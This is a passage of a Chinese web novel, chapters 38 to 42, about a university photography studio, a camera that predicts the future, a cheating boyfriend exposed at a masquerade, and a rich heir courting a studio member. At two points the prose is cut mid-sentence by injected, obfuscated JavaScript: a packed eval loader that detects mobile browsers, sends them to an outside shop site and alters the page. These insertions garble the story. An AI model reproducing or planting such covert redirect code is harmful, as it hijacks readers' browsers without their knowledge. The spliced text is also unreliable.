此时，即便不在江涛身旁，樊欣都可以想见——他面具下的那张脸，定然是一阵青，又一阵白的。但舞池里的各位同学，包括周边的观众们不明所以，还以为她是在向男友深情告白呢，正欲鼓掌，却被台上另一位女孩的发言惊掉了下巴： “这么巧，我也是这么想的！同时，更巧的是——我的男朋友，也叫江涛！” 话音未落，台下就开始生出一片叽叽喳喳的八卦之声，但樊欣只觉摸不着头脑，不理解，但又大受震撼。 “你骗了我，但我现在只是有点好奇，要是今天我不上台来问一问，你还准备骗我多久呀？” “你也骗了我，所以，我同样需要一个解释。” 直到这一刻，江涛才意识到——今天自己在这场舞会中的遭遇，完全是薛蕾和张岚联手设下的局，他气急败坏，甚至开始口吐芬芳，一时没想好应对之策，便觉走为上计。 然而，待江涛跑到音乐厅的大门口时，却被一个身影挡住了去路…… 38. 第38章 “你让开！你想干什么？还想揍我是么，来，冲我这儿打！最好打个几级伤残出来，好让你进去吃个几年牢饭！” 樊欣都没注意到——林龙是什么时候“瞬移”到门口的，他用自己壮硕的身躯挡住了江涛的“逃生通道”，还有那魏万，也陪在一旁，不知是不是因为有林龙作伴，此时的他，看起来无所畏惧。 “人家问你话呢，你不好好回答也就算了，不等人把话说完就跑路，真是缺乏基本的礼貌啊。” 这一次的林龙，比之前冷静多了，他无意对江涛动手，只想让他不自在。 “对啊，而且……而且明明是你有错在先，是你对不起她们，你……你这样算什么男人？！” 魏万同样气势汹汹，叉着腰痛斥起江涛的样子，令他那滑稽的背带裤都显得顺眼起来了。 见他俩执意要挡自己的道，江涛没辙了，只能另寻他法。情急之下，他竟想翻窗逃跑，音乐厅有一排窗子外头对着过道，爬起来毫无安全隐患，只是吃相难看罢了。 此时的江涛，已然顾不得形象，只想赶紧逃离这个“人间炼狱”。他笨拙爬窗的模样，也被现场的同学们纷纷拍下，樊欣这才意识到——自己把相机带来，确实是个相当明智的决定。 她毫不客气地冲着江涛狼狈的背影“咔嚓”了一下，趁伙伴们的注意力都被对方吸引之时，满怀期待地检验起相机的情况，如她所愿，还真见到了一则图像预言—— 相机新增的照片，标注为两年后，画面中的江涛身着廉价西装，同样展现了一个翻窗逃跑的动作。他的身旁，除了几位英勇的民警之外，还有高举双手做投降状的洪健…… 这货什么时候和洪健扯上关系了？看来，彼时的江涛，不但家道中落，还成了洪健诈骗团伙中的一员，估计翻窗未果，还是难逃被逮进去的命运。他刚还嚣张地嚷嚷着要把林龙送进去吃牢饭呢，没想到这个诅咒被反弹了。 见他这样，林龙还想继续去追，幸好魏万想到朝薛蕾的方向看了一眼，发现她正冲着自己这边摇头呢，便及时上前拽住了林龙，示意对方“穷寇勿追”。 薛蕾之所以这么做，倒不是念在过去的情分上，只是看江涛都到了“狗急跳墙”的地步，生怕林龙逼得太紧，反倒惹出什么祸端，不好收场。 这时候，樊欣想到了什么，赶紧抓住机会朝台上的两位女生举起了相机，不但留下了两人同台的珍贵影像，还欣喜地发现——这一次，相机没有做出新的预言。 这也说明，薛蕾和张岚在未来的生活中，可能不会有太多交集，这对于她们而言，其实是好事。因为，樊欣上一次看到他们三年后身处同一场景时，就落得了一个张岚溺亡、薛蕾入狱的可怖结局。 但现在，命运的齿轮重新开始转动，她们的未来里，少了一个江涛，就有了生的希望。 *** 事后，薛蕾和张岚在化装舞会上的事迹，成了G大贴吧里的爆款八卦。 当然，江涛更是不好过，虽说当天他戴着面具，但毕竟被两位受害者念出了大名，很快，他的信息就被扒得底朝天，几乎成了G大人尽皆知的“渣男”。 另外，他在舞会上狼狈翻窗、落荒而逃的画面更是被现场的同学们从各个角度给记录下来了，更有甚者将他出丑的照片做成了表情包，一时火出了圈。 但樊欣仍是不大理解，尽管薛蕾平日里性子泼辣，还有点爱出风头，但处事时向来拿捏有度，不会轻易做出这种“伤敌八百，自损一千”的决定。 “蕾姐，我还是搞不懂，你到底咋想的呀？这种事，如果你早就和张岚说开了，明明可以私下解决的，何必要闹到这么大……那渣男被人嘲笑啥的，完全是他活该，是应得的，但你有没有想过，这样一来……” “这样一来，我和张岚也会沦为G大学生茶余饭后的谈资，甚至是……笑柄。” “反正我觉得，这样做，对你俩来说，有点不值当。” 此时的樊欣和薛蕾一道倚着宿舍阳台的栏杆看星星，场景、氛围都和前些天很相似，但今天的薛蕾为了皮肤考虑，没再喝酒，而将饮品换成了一杯牛奶。倒是樊欣，照样库库灌酒，因为她心里直替对方发愁。 可可和铁军呢，又去上那美妆课了，但出发前可可就保证过了，今天和铁军组队练习手艺时，一定会收敛些的。 薛蕾不经意地叹了口气，虽然她没在人前哭过，但眼睛肿肿的，神色还有点忧伤，回头看樊欣时，眼里空空的： “我们之所以这么做，是不希望有人再被他骗了。” 简单的一句话，道出了原委，也叫樊欣的内心生出了一种更为复杂的情绪。一般来说，当人遭遇背叛时，容易失去理智，第一反应便是找到插足者讨要说法，像江涛这样的角色却能美美隐身，甚至置身事外。 但薛蕾不一样。 她早就发现了江涛和张岚的关系不寻常，但没有发怒或崩溃，也没有用情绪去处理问题。在可可的帮助下，她与张岚积极沟通，才发现她俩都遭到了江涛的欺骗，都是受害者。 于是，两人经过商量后，决定用自己的方式惩罚那水性杨花的负心汉。但若她们的方式太温和，以江涛的性子和人品，很快便会找到新的受害者，被他玩弄，甚至受到他的暴力对待。 或许，仅凭薛蕾和张岚的力量，很难完全根除以上可能性，但她们这种“鱼死网破”的方式，起码可以暂时避免G大有新的女生受害，甚至还能起到“敲山震虎”的功能，使她们身边那些像江涛一样的角色，收敛自己的行为。 “Girlshelpgirls.” 樊欣下意识地低吟了一句，还是被薛蕾给听去了。 “欣子，还是你总结得有水平，我喜欢这样的slogan！” 这句话似乎鼓励到了这位外国语学院的学生会主席，她的眼睛亮晶晶的，又恢复了昔日的光彩。 樊欣见她这样，也欣慰地笑了笑，她很庆幸这个时空的自己总算不再是一副“事不关己， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266865|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高高挂起”的姿态，很庆幸自己那天在这儿和薛蕾说出了那番心里话，更庆幸这位优秀的女孩，总算不用再被受到那颗恋爱脑的控制了…… *** 化装舞会的风波暂时告一段落，“灵犀”的各位迅速复岗复工，郑虔投入实验之后，更是废寝忘……忘食对他来说还是有点难度。毕竟，人是铁，饭是钢，一顿不吃，心就发慌。 “老郑，今天怎么又吃泡面啊？” 樊欣一进工作室，就闻到了一股浓烈的香味，才发现是郑虔又吃上了。 “嗐，甭提了，听说我们这个片区的外卖小哥辞职不干了，弄得我最近都没法点外卖了，去食堂吃饭又太费时，就只能拿泡面凑合了。” 十年前的外卖行业还没这么发达，骑手也不多，G大新校区位置相对偏僻，因而一旦原来的外卖员辞了职，送餐的效率也会大打折扣。 “不对呀，学长，我中午给你带过炒饭了呀，这会儿还没到新的饭点吧……” 魏万疑惑地看了眼自己的手表，这才刚到下午三点，莫非——泡面，只是郑虔的“下午茶”？ “做实验很累的好吧？我最近的消耗这么大，一份炒饭，你以为能撑多久啊？” 郑虔看起来有点委屈，但樊欣也不惯着他： “老郑啊，以后咱尽量别在工作室吃味道这么大的食物，等下有客人来拍照，别把人家给熏跑了。” 她一边说着，一边抓紧时间开窗通风，其他人见状，也一道行动起来。 一开始，郑虔看起来还有点不服气，但当可可也皱着眉跑去开门时，他才有所收敛，放弃了继续喝汤，收起了泡面。 “啊！” 为了给泡面散味儿，徐可可前去开门，不想门口竟等着一位“大块头”，直接将毫无防备的她，吓得叫出了声。 “对不起，对不起！” 这温柔的胖子，应该就是预约了要来拍照的客人，可可镇定下来后，立刻恢复了明媚的笑颜，赶忙热情地将对方迎入工作室内： “哪儿的话，你啥也没做错，是我自己一惊一乍的，真是不好意思了。” 今天的这位客人，看上去还挺特别的，除了块头大之外，他的特别之处还在于自己提了个老大的袋子，进门口不急着化妆选造型，而是探头探脑地观察了一番工作室的构造，同时还像是在寻着什么人。 “帅哥，您是自己带了服装过来么？” 可可指了指对方的袋子，还以为那是他带来的衣服，毕竟，他这样的身型，工作室可供选择的服装也不多。但对方听她这么问，果断地摇了摇头，还指了指自己，可可这才注意到——他来时就穿着灰西装、白衬衫，正式得很。 “好的，既然您不用换衣服了，要不我们直接进入化妆环节吧？” 客人笑眯眯地点点头，神似一尊温厚的大佛。此时，郑虔刚调试好补光灯，才顾得上看一眼来人的模样，即刻又惊又喜地叫了起来： “怎么是你？” 39. 第39章 郑虔和这顾客站到一起时，众人才发现——他俩看起来，还挺像的。 尤其是他们的身型，都毫无运动痕迹，加上憨厚的五官，直叫旁人怀疑这两人是否存在血缘关系。 “你是那个……外卖小胖？” “哈哈，好久不见啦……摄影小胖！” 从这两人的对话来看，他们应该不是亲戚，但对彼此还挺熟悉。经介绍，旁人才了解到——来人名唤“莫楷”，用他自己的话来说： “我这名字，倒过来念啊，就是‘楷模’，不错吧？” 原来，莫楷就是郑虔口中那辞了职的外卖小哥，正是由于他的离开，郑虔才囤了那么多的泡面，但莫楷离职的原因，却叫人有点摸不着头脑： “我送外卖，就是来体验生活的，家里催我回去……只好走了。再说，这一片点外卖的人本来就不多，摄影小胖算是我最大的客户了。” 这一次，郑虔被人喊成“小胖”，倒不恼，因为他俩半斤八两，还“互相伤害”，他也将莫楷称为“外卖小胖”，谁也不吃亏。 但奇怪的是，莫楷做外卖员那阵子，成天在外头风吹雨淋的，皮肤却挺白；反观大部分时间呆在工作室里的郑虔，倒黑黝黝的……两人站在一起，真想给他们起个类似“黑白兄弟”这样的组合名啊。 “回家？你老家在哪儿呀……” 郑虔对莫楷很是好奇，对方的回答也很有意思： “我是本地的，但我家……应该算是在山里吧……” 樊欣也是土生土长的G市人，但这儿地处平原，市民们口中的“山”，在外人看来也不过是丘陵罢了，也不由得好奇起来： “你说的‘山’是指？” “就是G市郊外的‘西山’，对了，你们听过那个‘楷莫拉’集团吗？” 他说到这里，叫樊欣想起自己年幼时，爸爸开着车带一家人到G市的西山兜风，那儿依山傍水、风景秀丽，叫人印象深刻。 另外，当他们驾车经过一处小山时，樊欣瞬间就被山腰处的华丽建筑给吸引住了，奶声奶气地向爸爸提出了自己的诉求： “爸爸，那房子，是城堡吗？好漂亮啊！我们能不能去那里玩呀？” 听她这么问，爸爸忍不住笑出了声，逗她说： “你要是就这么闯进去呀，会被抓起来的！” 当时的樊欣，有些不解，因为童话书中的城堡里，往往都住着善良的公主，她樊欣又不是什么坏人，抓她做什么？ 还是妈妈及时解围，替樊欣解答了心头的困惑： “你就别逗欣欣啦！那儿呀，不是什么城堡，也不是景点，是私人住宅，所以啊，我们作为陌生人，不能随随便便去打扰人家的。” 数年后，樊欣才了解到，自己年幼时心心念念的“城堡”，就是当地著名企业楷莫拉的总裁居所。如今，莫楷说自己住在西山那儿，还提到了这家企业的名字，再结合他的名字来看……这一切，或许不是巧合。 “‘楷莫拉’？听起来像是相机‘camera’这单词的音译哎，那是什么？” 虽说徐可可是G大八卦百晓生，可一旦涉及到校外的事，尤其是她专业领域之外的内容，对她来讲就都很陌生了。但在场的其他人，基本都听过‘楷莫拉’这个名字，包括林龙： “它是G市的数码巨头，我们店铺进货时，接触过它家的经销商。” “这么厉害？！但你为什么会提到这个啊？” 可可满脸不解地看向莫楷，不知这位曾经的外卖小哥为啥会提到数码企业的事，没想到对方直接答道： “因为我之所以不继续送外卖了，就是要回去继承‘楷莫拉’呀……” 说这话时，莫楷仍是一脸乐呵呵的模样，叫人无法分辨他是否在开玩笑，但若他真是大企业的继承人，超级富二代，怎么会跑来送外卖啊，这也……也太离奇了吧？！ “楷哥，别开玩笑了！就算吹牛，也不能太夸张呀，不然牛皮一下就给吹破咯！对了，你今天到底想拍什么样的照片呀，要不，先简单化个妆？” 郑虔仍是不信他，但无意继续争辩，便示意铁军和可可先给莫楷做下造型，但莫楷表示今天之所以过来拍照，主要是想看看这个自己之前一直没机会踏进来的工作室，最好是能和大家交个朋友。 “你们知道，我家是做数码产品的嘛，和你们这工作室，多少也能扯上点关系。你们是我体验生活时接触到的朋友，我对你们还挺感兴趣的，所以如果有什么需要帮忙的地方，尽管直说。” “喂喂喂，你还真演上了哎，以后不送外卖了，也要踏踏实实找个工作，等咱这工作室有一天做大做强了，说不定还能给你留个岗位。但前提是——哥你别演了，你这状态松弛得我都要当真了！” 听到郑虔这番话，莫楷笑着摇了摇头，没再辩解什么，而是配合地由铁军为自己做了番修容，然后带着可可为他设计的三七分发型，来到了郑虔和魏万调好的灯光下。 樊欣指导莫楷摆造型时，林龙会默契配合，根据她的指示上前对顾客的状态做调整。对樊欣来说，郑虔那番怀疑只是白费力气，她只消朝着莫楷按下快门，就能得到答案。 这一次，莫楷选的套餐是“商务写真”，拍摄时要比常规的证件照复杂一些，动作也更多。当他低头扶额时，樊欣果断进行拍摄，一声“咔嚓”之后，她在相机中看到了郑虔不愿相信的一幕—— 照片里的时间，显示为三个月以后，同样西装革履的莫楷，也是一个低头扶额的动作，不同的是，彼时他正在研究面前的那份合同。将合同的细节放大，樊欣清楚地看到上头写着“楷莫拉”三个字。 看来，这家伙真不是在吹牛啊，城堡里住着的不一定是公主，还可能是这样的莫楷。 拍完照后，他总算打开了自己带来的神秘大礼包，里头装着一堆楷莫拉公司最新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292333|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研发的智能手表，颜色各异，售价不菲，他竟就这么杂乱地放着，然后豪气地将包装盒倒在了工作室的台子上，热情地邀请大家前来挑选： “我给大家带了点小礼物，各位如果不嫌弃，就来选一款吧，可以连上各个系统的手机和pad，功能还挺全，说明书里都有写。” 看到满桌新款手表，魏万和铁军同时瞪大了双眼，要知道，尽管这些物件只是莫楷口中轻飘飘的“小礼物”，却也是当下难以预定的大热爆款，新到连山寨版都还没推出呢。 林龙到底年长一些，相对比较理智，他拿起一只表看了几眼，淡淡问道： “这些货，可不便宜，单拿出来一只，就要比今天拍照的费用贵上好几倍，有点太贵重了吧？” “而且，摄影的钱，他早就付过了……” 樊欣轻轻拽了下林龙的衣角，在一旁小声提醒着，郑虔听到后，更来劲了： “我明白了！你这家伙的真实身份，应该是‘楷莫拉’的销售吧？这些智能手表，说是送我们的礼物，其实是给我们试用的？或者，你只是给我们打点折扣，最终还得我们自己花钱买下它们……” “小老弟，我说你这想法也……也太寒酸了吧？就这么点手表，至于考虑那么多吗？大家赶紧来挑一款吧，就是颜色不大一样，别的都差不多。要你们还是不信的话，改天直接到我家一趟呗，反正我最近还不算忙。” “我们信你。” 樊欣率先表态，引得其他人有点困惑地看向她，但她还是谨慎地接了一句： “但无功不受禄啊，你突然送我们这些……” “哎呀，你们这是啥情况呀？我都说了，就是想和你们交个朋友呀！本来我还想送你们相机呢，那可是我们公司的明星产品，但不确定你们想要哪种型号的，而且也不见得你们都对摄影感兴趣……” 见他有些急了，可可便走上前，打算选个粉紫色的手表，没想到却被莫楷一把拦下，示意她稍等一下。见状，郑虔赶忙冲出来补刀： “你们看，我说的没错吧？这家伙肯定有阴谋，才不会直接白送我们东西呢！可可姐，你悠着点啊！” 他的话，吓得徐可可直接收回了双手，但见一旁的莫楷不急不躁，反而面露喜色： “原来，小姐芳名‘可可’。不好意思，刚才我的举动有些唐突了，但请你千万别误会，那手表，还是你的。我只是想说，这儿还有一份礼物，是专门为可可小姐准备的，不妨先来看看这个……” 可可面露疑惑，想来自己与对方并没有什么交情，不理解莫楷这是想要干什么，但还是忍不住有点期待地看着他。 只见莫楷优雅地从贴身的上衣口袋中取出了一个盒子：棕咖色调、泛着珠光，默默上前递给了可可。 大家不约而同看向可可手里的盒子，她有些无措地抬头看了看身边的几位伙伴，终于还是在樊欣他们的鼓励下，打开了它…… 40. 第40章 可可收到的盒子里，躺着一条白贝母四叶草项链，但她的反应却出乎莫楷的预料： “是这个呀，军儿好像也有一条差不多的，不过，你给我项链干嘛？” 听她这么说，铁军赶忙在一边摇头、摆手，并解释道： “我的那条是假的，几十块钱，戴着玩儿的。” 对于这条项链的品牌，樊欣倒有一定的了解，只是，尽管她在穿来之前已经工作了那么多年，却也舍不得买它。因为，这一款项链的正品售价差不多有八万五，对于一个普通上班族而言，着实太贵了。 “这一条是正品，可可小姐如果不放心，随时可以到专柜查验的。” 樊欣凑上前，朝可可耳语了一番，惊得这姑娘赶忙将项链原封不动地装回盒子里，仿佛那就是个烫手的山芋。 “怎么了？不喜欢这个款式嘛？不好意思啊……我看我妈、我表姐她们还挺喜欢这个牌子，就以为……” “不是，我说你这家伙，到底想干嘛啊？” 郑虔被他惹得有点不耐烦，直接叉着腰上前找茬儿去了。 “我想和可可小姐……哦是和大家，交个朋友。对了，之前偶然听摄影小胖讲起过，你们是不是在研发什么相机呀？要是成功的话，我们可以合作看看，如果还有机会批量生产，我想，这将会是一场双赢。” “什么‘摄影小胖’，我没有名字吗？你别……” 眼看郑虔不知为何，要和白皮版的自己“反目成仇”，樊欣赶紧上前控制住了他，才没让“灵犀”错失良机。 “莫先生，要不，我们一起坐下来聊聊？” 莫楷点点头，他比郑虔年长几岁，也更沉稳一些。因而，无论对方怎么闹腾，他总是一副不疾不徐的样子，情绪稳定，并不与郑虔计较。 当然，徐可可作为工作室最善交流的角色，也加入了这场谈话，其他几人则围坐一旁，适时发表意见。 “可可小姐，我真的没有恶意。至于为什么想额外送你个礼物，是因为……” “因为什么？” 一旁的郑虔抢白时仍是气鼓鼓的，被樊欣瞪了一眼才又收敛了些。 “那我就直说了哈……是因为我觉得可可小姐很特别，我非常欣赏你。在我成长的过程中，也有不少姑娘围着我转，但我知道，她们这么做，多是看上了我的家世。” “能得你……” 郑虔不失时机的吐槽，简直像是莫楷的伴奏一样，有点好笑。 “直到我远赴剑桥求学，不愿过分依赖家里，才逐渐意识到独立生活的难处。所以，回国后，我没有马上接管家里的生意，而是先到外头跑一跑，做一份之前没有接触过的兼职，想要从更多的角度去了解这个世界……我相信，这都对我的以后，包括‘楷莫拉’的未来，大有裨益。” “欣姐，咱工作室今天没有其他客人了嘛？我们真的要在这里听‘外卖小胖’讲故事吗？” 见郑虔这般不耐烦，莫楷也有点紧张，立马起身询问自己是否打扰到大家了，但樊欣摇了摇头，将他按回了座位里，并补充道： “没关系，下一个客人要晚上才来，不影响。” 莫楷这才放心地继续叙述起来： “没想到，这次兼职的经历中，还有意外之喜——我遇到了可可小姐。先前，无论是求学时，还是送外卖的过程中，别人对我的态度，都和之前那些大相径庭。但可可小姐不一样，即便在她眼里，我只是个平平无奇的外卖员，也总是对我笑脸相迎，令我感到如沐春风。” 的确，先前那些外卖，大多是郑虔点的，但当莫楷送上门时，大家都忙着完成手头的任务。可可办公的位置，离大门较近，加上她性子亲和，对谁都挺友善的，就意外地打动了化身外卖员的贵公子。 “然后呢，你这次过来，到底是什么目的？” 郑虔看了一眼可可，见她一脸懵懂、不为所动，才舒了口气，转头继续追问起莫楷此行的动机。 “之前为了送外卖，我来过好几次，但都没机会进来瞧瞧，挺好奇的。另外，刚才我也说过了，确实觉得你们这个团队还挺特别的，想和你们交个朋友，谈谈合作的事情。” “我们这团队，当然很牛啦，这次的创业大赛，我们冲进了省赛，还赢下了小组第一呢。” “这么厉害？摄影小胖……啊不是，还没请教这位兄弟尊姓大名呢？看外卖订单上的信息，你是姓‘郑’么？” 尽管听到郑虔的名字后，莫楷联想到了“挣钱”一词，忍不住“噗嗤”一笑，但两兄弟到底还是投缘，很快便聊上了，郑虔直接拿来自己设计的新型相机交到对方手里，令莫楷非常惊喜。 直到天色发黑，莫楷才恋恋不舍地起身，表示自己今晚还有事要处理，得尽快回去。临走前，他非常强硬地留下了自己的礼物，并邀请各位三天后一起到他家做客： “到时候，我会派个司机过来，反正我家里人最近都在外地，到时各位也不用拘束。” *** 接下来的几天里，大家都因比赛的事和工作室的业务忙到晕头转向，几乎将莫楷的邀请抛到了脑后。要不是郑虔接到了对方司机的电话，他们还真想不起来这事儿。 出发前，大家商量着要给莫楷准备些东西，一来是为了还礼，二来毕竟是到人家家里做客，总要讲些礼数。但商量了半天，也不知什么才最合适，几人便将莫楷的写真做成了一本精致的相册，再挑了些G大的文创周边，伴着水果和零嘴一道带上了车。 毕竟，像他这样的超级富二代，见多识广，给他送礼，只能从心意出发了。 上车前，樊欣内心仍有点忐忑——她是从另一个时空过来的，见多了诱骗青年去做传销，甚至将人卖到缅北的恐怖新闻，因而不敢轻信陌生人。 于是，还特意找机会偷偷给莫楷派来的司机拍了照，发现下一个画面中，对方将车停到了西山那栋“城堡”之下，这才放心地上 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莫楷派来的高级商务车一路开到了半山腰，精致的铁门打开后，司机带他们进入了一片雅致的中式花园，又经过层层叠叠的房间，总算才刚刚步入豪宅的主厅——莫楷就在那儿等着他们呢。 “这家伙，竟然真的没有骗人……真难想象，会有人从小在这么夸张的宫殿里长大，还愿意去送外卖体验生活的……” 莫楷居所之豪华，直叫郑虔不停反思——自己那天向他叫板时，嗓音是不是太大了些…… “有些人，出生就在罗马；也有些人，出生就是‘牛马’。” 魏万推了推厚重的眼镜，一边慨叹着，一边环顾四周，只觉厅内的设计元素丰富得叫人目不暇接。 “你们总算来啦？我真是太高兴了！” 大伙儿来到了莫楷的主场，只觉他相较之前更为自信、爽朗了，他也是个实在人，不多寒暄，便将大家领到了相较多数饭店而言更大、更豪华的餐厅里，几张餐桌上都摆满了不同菜系的美食，丰富得有些惊人。 “楷哥，咱这儿……等下还要来客人啊？” “没有啊，就我们几个。” “这菜……也太多了，多得有点夸张了吧。” 真没想到，有一天，竟然能从郑虔的嘴里听到“菜太多了”这样的话，要知道，每次“灵犀”聚餐时，这家伙就像个无底洞似的，好像基本没他有吃饱的时候。 “这不是不了解你们爱吃什么嘛，所以各个种类都备了些：这一桌，是本地特色菜；这边的，是西餐，摆盘需要，分量不多，但吃完的话后厨还会补上；那边一桌，是日料，还有东南亚食品、美式快餐啥的，我也准备了……” 莫楷一边介绍，一边冲郑虔来了个wink，因为之前给他送过几次餐，了解他常点汉堡、薯条之类的。在安顿好郑虔之后，不出意外的，莫楷又踱到了可可身边，殷勤地问了一句： “可可小姐，一日不见，如隔三秋。今天想吃点什么？尽管和我说哈。” 41. 第41章 对于可可来说，莫楷的这份热情，叫她难以招架。 以往的日子里，她也做过一些与“霸总”有关的美梦，但重点在于“霸气、霸道”，而非“总裁”。眼前的莫楷，是“楷莫拉”未来的主人，实打实的商业巨子，但形象上，和偶像剧里的那些……还是有很大差距的。 更叫人难以想象的是，就在莫楷倾吐衷肠的时刻，郑虔竟也跳了出来，看似霸气护姐，实则变相告白： “你想什么呢？可可姐和你有关系吗？我警告你——别打我可可姐的主意。” 刚才还沉浸在美食之中的郑虔，眼见着莫楷在对徐可可套近乎，果断放下食物，还换了副凶狠的模样。 “可可小姐是……是你的姐姐么？那可太好了，那我们就亲上加亲了！” “好你个头！可可姐她……她是我眼里最重要的女孩！” 原本，大家都像在自助餐厅似的，各自游走着，往餐盘里放置自己爱吃的食物，就算看郑虔又在和莫楷拌嘴，也都没在意。毕竟，大家也逐渐习惯他俩这样了。 但郑虔的这番话，就像一颗重磅炸弹一般，落下的一瞬，就打断了各位继续用餐的心思，都默契地停下手头的动作，观望着他这头的动静。 霎时间，餐厅安静得几乎能让人郑虔的心跳声。 其实，早在郑虔第一次在体育馆偶遇可可那会儿，就对这学姐有了一点心动的感觉。 对于他这样常年生活在男生堆里的理工男而言，樊欣和可可的出现，确实令他眼前一亮。客观来说，樊欣确实更漂亮，但这种美貌会产生一定的距离感，倒不如徐可可来得亲切可爱。 而且，可可不但性格好，还能在第一时间认出郑虔就是那个布告栏里的“发明家”，使他在学姐这里获得了前所未有的情绪价值。平日在郑虔做实验的时候，难免会有些丧气，但可可对他始终充满了耐心，像颗温暖的小太阳般时时陪在他的身旁。 因而，郑虔在Y市时忙里偷闲，特意为可可寄回那个巨型库洛米，并非客套之举，而是他时时刻刻惦念着对方，所以想着要为可可做些什么…… 但别说徐可可了，“灵犀”团队里谁也没能看出这段隐秘的暗恋，直到莫楷出现，郑虔有了危机感，才醋意爆发，不慎泄露了心底的秘密。 一直以来，可可都很渴望爱情。但不知是因为她的相貌过于普通，还是性格太过随和，即便交友广泛，在各个团体中也颇有人气，偏偏一直没啥追求者。而她主动喜欢上的人呢，要么不靠谱，要么都委婉地拒绝了她。 没想到，今天，她徐可可的桃花竟接连开出了两朵，一黑一白，各具特色。 而且，就在郑虔勇敢道出了内心的想法之后，现场便陷入了相当安静的状态，几双眼睛同时盯向了可可，似要等她当场做出决断。 还是樊欣上前解了围，她轻轻拍了拍可可的肩，转头看向那两个剑拔弩张的大块头，从容地说了句： “你们在这儿争来斗去的，完全没有意义，如果真想得到对方的青睐，关键得拿出诚意来，比如……” 樊欣的视线，不由自主地落在了郑虔和莫楷的大肚腩上，便一字一句地提出了最为中肯的建议： “比如，你们可以尝试着减减肥呀。” “减肥？” 此时的郑虔和莫楷，几乎是异口同声地喊了出来。虽说樊欣提及的这个词，对他俩来说并不陌生，甚至每天都会在他们的脑袋里爬几遍，但从未真正付诸过行动。 郑虔是忙忙碌碌的大发明家，谁不让他吃饱，他就跟谁急眼；莫楷则是衣食无忧的上市公司继承人，基本没人会对他的身材提出质疑，旁人在他自嘲时还会奉承几句：“这是福相！” 因而，尽管这黑白兄弟都对自己体重超标这一事实心知肚明的，却都没机会好好正视这个情况。如今，却被樊欣给一语点破了。 见他俩因为自己的话愣住了，樊欣也赶忙找补起来： “而且啊，老郑和莫总的五官，都生得这样好，要是能瘦个十斤、二十斤的……” “三十斤！” 郑虔气势汹汹地报出了一个数字，叫现场诸位一时都没能反应过来，就连挑起这一话题的樊欣，都显得有些懵了： “啊？” “我是说，我会在未来的两个月内，瘦下三十斤，据说大基数减重并不难，莫兄，你敢一起接受这个挑战吗？” “有何不敢？既然你主动提了，我们不妨请在场的大伙儿来做个见证，到时候，谁要是做不到……” 莫楷一边说，一边不失时机地看了一眼站在不远处的可可，又在视线收回郑虔方向的同时，面露挑衅： “谁就退出这场竞争。” 他口中的“竞争”，自然与徐可可有关。见他这样，郑虔自然不会认怂，而是坚定地点了点头。 一场“闹剧”，才总算告一段落。 *** 饭后，莫楷将“灵犀”团队的诸位带到了家中的陈列室，这儿堪比一处小型的博物馆，详尽记录了莫氏家族的兴起与发展史，叫人叹为观止。 “大家都感叹我含着‘金钥匙’出生，是多么幸福，实际上，我也有自己的压力。企业面临转型，我需要想办法做出新的突破……但我很早就意识到了，循着那些常规的路子，很难达到理想的效果。多幸运，我遇到了你们。” 谈到业务这块儿，郑虔就不再孩子气了，而是选择和莫楷“化敌为友”，主动接过了对方的话头： “我后来想了一下，你之前提到的那个词——‘双赢’，非常有道理。尽管在省赛之后，我们团队的条件好了不少，但真要快速达到理想的效果，确实需要更多专业的力量。” “资金、人手、场地……这些都可以谈，如果你们不介意的话，可以把‘楷莫拉’写进你们的资料里。” 莫楷的这句话，看似寻常，实则很有分 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“他这就是故意的，不过，山人自有妙计……” “‘妙计’？学长，你该不会……不会想去抽脂啥的吧？我听说那可有风险哎！” 如今的魏万，已经接替了郑虔先前的灯光师岗位，在团队中也没那么拘束了。 “什么呀！你可别乱猜了，我啊，是报名了G大本年度的秋季运动会，有了这样一个事项来激励自己，他莫楷别想赢我！” “你报名的项目，是铅球还是标枪？” 自打郑虔和莫楷一道表露了对于可可的心意之后，不知是因为害羞还是想避嫌什么，在他回工作室的日子，可可就不大露面了。为了安抚大发明家的情绪，樊欣只能多多找话，比如现在，她看上去就很关心郑虔在运动会里报了啥项目。 “都不是，我报的是——三千米。” “啊？！” 伙伴们都以为自己听错了，不约而同发出了满是疑问的惊叹。要知道，郑虔这家伙平日里动都懒得动，“三千米”对大多数人来说，都能算得上是个挑战了，更何况是他？ 而且，他们学院的老师，又怎么可能会通过郑虔的申请呢？ “一来是我已经为自己学院争得了不少荣誉，还有，就是我立下了军令状——一个月内，要是我能跑进他们规定的时间，就让我上场。而且，到时候不管我的名次如何，信息学院当日报道的配图，都会放我的照片。” 见他这样自信，一旁默默收拾梳妆台的铁军都忍不住参与一下这场对话： “学长，那你之前，有试着跑过这种距离么，有没有，掐算一下时间呀？” “这倒没有，得奖以后，我的体测也免修了，所以好久都没跑过步啦。” 郑虔泰然自若地用吸管顺着一大杯泰式柠檬茶，全然不知自己将要面对的，到底是什么样的挑战…… 42. 第42章 比运动会更早到来的挑战，是创新创业大赛新一轮的资格争夺战。 这一次的比赛，被安排在N市，对“灵犀”团队来说，路程相较参加省赛那次更近一点，且全体成员都能一起到场，因而大家的心态也更轻松了一些。 到了出发那天，现场的人数与之前相比，明显少了很多，因为大部分队伍都已经给淘汰了。 